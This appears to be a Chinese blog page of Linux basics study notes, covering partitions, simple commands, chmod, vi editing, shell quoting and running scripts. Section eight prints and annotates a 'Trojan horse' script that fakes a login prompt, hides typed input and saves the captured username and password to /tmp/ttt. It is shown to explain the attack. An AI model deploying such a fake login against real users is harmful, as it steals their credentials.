Linux基础 —基础要点
一、请简述Linux安装时的两个必备分区、挂载点和类型。
一般情况下,安装红旗Linux需要两个必备分区,即一个根文件系统分区,挂载点(/),类型为ext3、ext2或reiserfs;一个交换分区,挂载点无,类型为swap。
二、请简述Linux简单命令(至少六种)。
1.who命令
who,将列出所有正在使用系统的用户、所用终端名和注册到系统的时间。
who am i ,将列出使用该命令的当前用户的相关信息。
2.echo命令
echo, 将命令行中的参数显示到标准输出(即屏幕)上。
例:(1)$echo 'This is a command.' (a和command之间有4个空格)
This is a command. (与输入相同)
(2)$echo This is a command
This is a command.
3.date命令
date,在屏幕上显示或设置系统的日期和时间。(若没有选项和参数,将直接显示系统当前日期和时间;若指定显示日期的格式,将按照指定的格式显示当前的日期和时间)
4.cal命令
cal, 可显示公元1-9999年中任意一年或任意一个月的日历。
例:(1)cal (显示当前月份的日历)
(2)cal 10 (将列出公元10年的日历)
(3)cal 10 2006 (将列出2006年10月份的日历)
5.clear命令
clear, 清除屏幕上的信息。
6.passwd命令
passwd,可更改用户口令。
例:$passwd
Changing password for user mengqc. [用户名是mengqc]
Changing password for mengqc.
(current) UNIX Password: [提示输入老密码]
New UNIX password: [要求输入新密码]
Retype new UNIX password: [重新输入一遍新密码。如果两次一样,系统就接受这个密码作为下次登陆的密码]
passwd: all authentication tokens updated successfully.
三、请使用chmod命令改变或设置文件或目录的存取权限。(只有文件主或超级用户才有权用chmod命令改变文件或目录的存取权限)
根据表示权限的方式不同,该命令有两种用法:以符号模式改变权限和以绝对方式改变权限。
1、以符号模式改变权限
一般格式: chmod key( [who] [操作符号] [mode]) 文件名
例:(1)将文件ex1的权限改为所有用户都有执行权限。
$ chmod a+x ex1
(2)将文件ex2的权限重新设置为文件主可以读和执行,组用户可以执行,其他用户无权访问。
$chmod u=r,ug=x ex2
2、以绝对方式改变权限
一般格式:chmod made 文件名
Linux系统中,mode是由1-4位八进制数字组成的,从左到右各位数字的含义是:第1位表示用户ID(数值4)、组ID(数值2)和粘着属性(数值1);第2位表示文件主权限;第3位表示组用户权限;第4位表示其他用户权限。
例:使文件ex1的文件主和同组用户具有读、写权限,而其它用户只可读。
$ chmod 0664 ex1
四、简述vi编辑器命令方式下的移动光标及文本修改。
1、移动光标(基本移动光标命令)
命令:l 、Space键、右向键-> 功能:光标向右移动一个字符。如果在命令前面先输入一个数字n,那么就把光标向右移动n个字符(光标至多移动到行尾)。
例: 向右移动6个字符 6l、6+Space
命令:h、Backspace、左向键<- 功能:光标向左移动一个字符。如果在命令前面先输入一个数字n,那么就把光标向左移动n个字符(光标至多移动到行开头)
例:向左移动4个字符 4h、4+Backspace
命令:- 功能:光标上移一行(移到上行的开头)。如果在命令前面先输入一个数字n,那么就把光标向上移动n行。
例:光标上移四行,位于行首 4-
命令:k、Ctrl+P、上向键 功能:光标上移一行(列不变)。如果在命令前面先输入一个数字n,那么就把光标向上移动n行。
例:光标上移4行 4k
命令:+、Enter 功能:光标下移一行(移到下行的开头)。如果在命令前面先输入一个数字n,那么就把光标向下移动n行。
例:光标下移6行,位于行首 6+
命令:j、Ctrl+N、下向键 功能:光标下移一行(列不变)。若下一行比当前光标所在位置还短,则下移到行尾。如果在命令前面先输入一个数字n,那么就把光标向下移动n行。
例:光标下移6行 6j
2、文本修改
命令:x 功能:删除光标所在字符。如果前面给出一个数值n,则由光标所在字符开始、向右删除n个字符,如5x。
命令:X 功能:删除光标前面的那个字符。如果前面给出一个数值n,则由光之前的那个字符开始、向左删除n个字符。
命令:dd 功能:删除光标所在的整行。
命令:D 功能:从光标位置开始删除到行尾。
命令:d0 功能:从光标位置(不包括光标位)删至行首。
命令:d3l 功能:从光标位置(包括光标位)向右删3个字符。
命令:d$ 功能:从光标位置(包括光标位)删至行尾。
命令:d5G 功能:将光标所在行至第5行都删除。
命令:dw 功能:删除从光标位置(包括该位)至该词末尾(包括词尾空白符)的所有字符。
命令:d3B 功能:从光标位置(不包括该位)反向删除3个词(光标所在词也算在内)。
命令:dH 功能:删除从当前行至所显示屏幕顶行的全部行。
命令:dM 功能:删除从当前行至命令M所指定行之间的所有行。
命令:dL 功能:删除从当前行到屏幕底行的所有行。
命令:u 功能:复原命令。取消刚才的插入或删除命令,恢复到原来的情况。
命令:U 功能:直接把当前行恢复到它被编辑之前的状态,不管光标移到该行后它被编辑了多少次。
命令:. 功能:重复命令,仅重复实现最近一次使用的插入命令或删除命令。
五、用vi打开已存文件ex1,在命令模式下,移动到第7行,删除该行,保存并退出。
$ vi +7 ex1
dd
Esc
:wq
六、简述Shell特殊字符中引号的功能。
在shell中引号分为三种:单引号、双引号和倒引号。
(1)单引号。由单引号括起来的字符都作为普通字符出现。
(2)双引号。由双引号括起来的字符(除$、倒引号、反斜杠外)均作为普通字符对待。
(3)倒引号。倒引号括起来的字符串被shell解释为命令行,在执行时,shell会先执行该命令行,并以它的标准输出结果取代整个倒引号部分。
七、分别以三种不同的方式编辑执行shell脚本。
1、输入重定向到shell脚本。该方式用输入重定向方式让shell从给定文件中读入命令行,并进行处理。
一般形式: $ bash < 脚本名
2、以脚本名作为bash参数。
一般形式: $bash 脚本名 [参数]
3、将shell脚本的权限设置为可执行,然后在提示符下直接执行。
$ chmod a+x 文件名
$PATH=$PATH:.
$文件名
八、特洛伊木马shell脚本解释。
echo -n "Login" #屏幕显示Login
read name #将键入的内容存储到name中
stty -echo #禁止屏幕回显
echo -n "Password" #屏幕显示Password
read password #将键入的内容存储到passwd中
echo " " #显示空字符
stty echo #恢复屏幕回显
echo $name $passwd > /tmp/ttt& #输出重定向,将变量name、passwd的值输出重定向至后台文件tmp.ttt
sleep 2 #暂停2s
echo "Login Incorrect.Re-enter,Please." #屏幕上显示账号错误,请重新输入。
stty cooked #调用真正的登录程序
Linux基础 —基础要点的更多相关文章
- Linux Cluster 基础之LVS调度算法与集群类型
Linux Cluster 基础之LVS调度算法与集群类型 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.LB Cluster 1>.什么是LB LB 集群是 load ...
- Linux实战教学笔记06:Linux系统基础优化
第六节 Linux系统基础优化 标签(空格分隔):Linux实战教学笔记-陈思齐 第1章 基础环境 第2章 使用网易163镜像做yum源 默认国外的yum源速度很慢,所以换成国内的. 第一步:先备份 ...
- Linux实战教学笔记04:Linux命令基础
第四节:Linux命令基础 标签(空格分隔):Linux实战教学笔记 第1章 认识操作环境 root:当前登陆的用户名 @分隔符 chensiqi:主机名 -:当前路径位置 用户的提示符 1.1 Li ...
- Kali Linux渗透基础知识整理(四):维持访问
Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...
- Kali Linux渗透基础知识整理(二)漏洞扫描
Kali Linux渗透基础知识整理系列文章回顾 漏洞扫描 网络流量 Nmap Hping3 Nessus whatweb DirBuster joomscan WPScan 网络流量 网络流量就是网 ...
- 5.linux内核模块基础,内核模块学习
linux内核模块基础 一.定义 Linux 内核的整体结构非常庞大,其包含的组件也非常多,如何使用这些组件呢: 方法 1:把所有的组件都编译进内核文件,即:zImage 或 bzImage,但这样会 ...
- Linux信号基础
Linux信号基础 作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! Linux进程基础一文中已经提到,Linux以进程为单位来 ...
- Linux进程基础
Linux进程基础 作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 计算机实际上可以做的事情实质上非常简单,比如计算两个数的和 ...
- Linux操作系统基础(四)保护模式内存管理(2)【转】
转自:http://blog.csdn.net/rosetta/article/details/8570681 Linux操作系统基础(四)保护模式内存管理(2) 转载请注明出处:http://blo ...
- linux考试基础知识测验
Linux系统管理基础测试(100分钟) 姓名: 座位号: 一.单项选择题:(每小题0.5分,共计30分) 1. cron 后台常驻程序 (daemon) 用于:D A. 负责文件在网络中的共 ...
随机推荐
- win7再分配磁盘新加卷
磁盘在系统刚分区的时候可以做磁盘分区最好 1.右键我的电脑,选在管理 2.在此窗口下依次展开选项,点击存储->磁盘管理,右边是我已经分好的盘不用看的 3.确认一下我的电脑的各个盘的空间,选择要压 ...
- Orleans[NET Core 3.1] 学习笔记(三)( 2 )客户端配置
客户端配置 通过一个ClientBuilder和多个补充选项类,以编程方式配置一个用于连接Silo集群并将请求发送至Grain的客户端. 客户端配置示例: var client = new Clien ...
- php数组去重、魔术方法、redis常用数据结构及应用场景
一.用函数对数组进行去重的方法 1.arrau_unique函数的作用 移除数组中重复的值. 将值作为字符串进行排序,然后保留每个值第一次出现的健名,健名保留不变. 第二个参数可以选择排序方式: SO ...
- VS Code 成主宰、Vue 备受热捧!2019 前端开发趋势必读
前端在生产和开发中占据着越来越重要的地位,PC 端.手机端.桌面端.智能手表端等等设备都离不开前端的身影.本文将围绕框架.编程语言.工具.React.Vue 等方面,全面回顾 2019 年前端与 We ...
- CodeForces - 1059C Sequence Transformation (GCD相关)
Let's call the following process a transformation of a sequence of length nn. If the sequence is emp ...
- 多线程之美5一 AbstractQueuedSynchronizer源码分析<一>
AQS的源码分析 目录结构 1.什么是CAS ? 2.同步器类结构 3.CLH同步队列 4.AQS中静态内部类Node 5.方法分析 5.1.acquire(int arg ) 5.2.rel ...
- windows环境下Git的安装部署
一.获取安装包 百度搜索“git”,或者访问git官网:https://git-scm.com/,在首页中点击“downloads”进入下载页面 点击“windows”,获取安装包 二.安装部署 双击 ...
- 简单介绍托管执行和 CLI
目录 CIL 和 ILDASM 查看 myApp.dll 的 CIL 输出 使用 ILSpy 查看 myApp.dll 反编译后的代码 处理器不能直接解释程序集.程序集用的是另一种语言,即公共中间语言 ...
- CAD绘图效率低?教你4个CAD绘图技巧,绘图效率提升十倍
CAD绘图一直是一个谜一样的存在,说它简单吧,很多人都无法完全精通,说它难吧,很多人也都自学成才了. 如何学好CAD绘图是个难题,但是老话说的好,只要思想不滑坡,办法总比困难多,掌握以下这些CAD绘图 ...
- Cesium 本地部署案例
众所周知,cesium的服务器是搭建在国外的,所以我们国内的用户访问的时候贼慢.有时想查个api或者看个案例半天都进不去,今天我来说一下傻瓜式搭建本地的cesium环境,用于大家没事查资料用!步骤:1 ...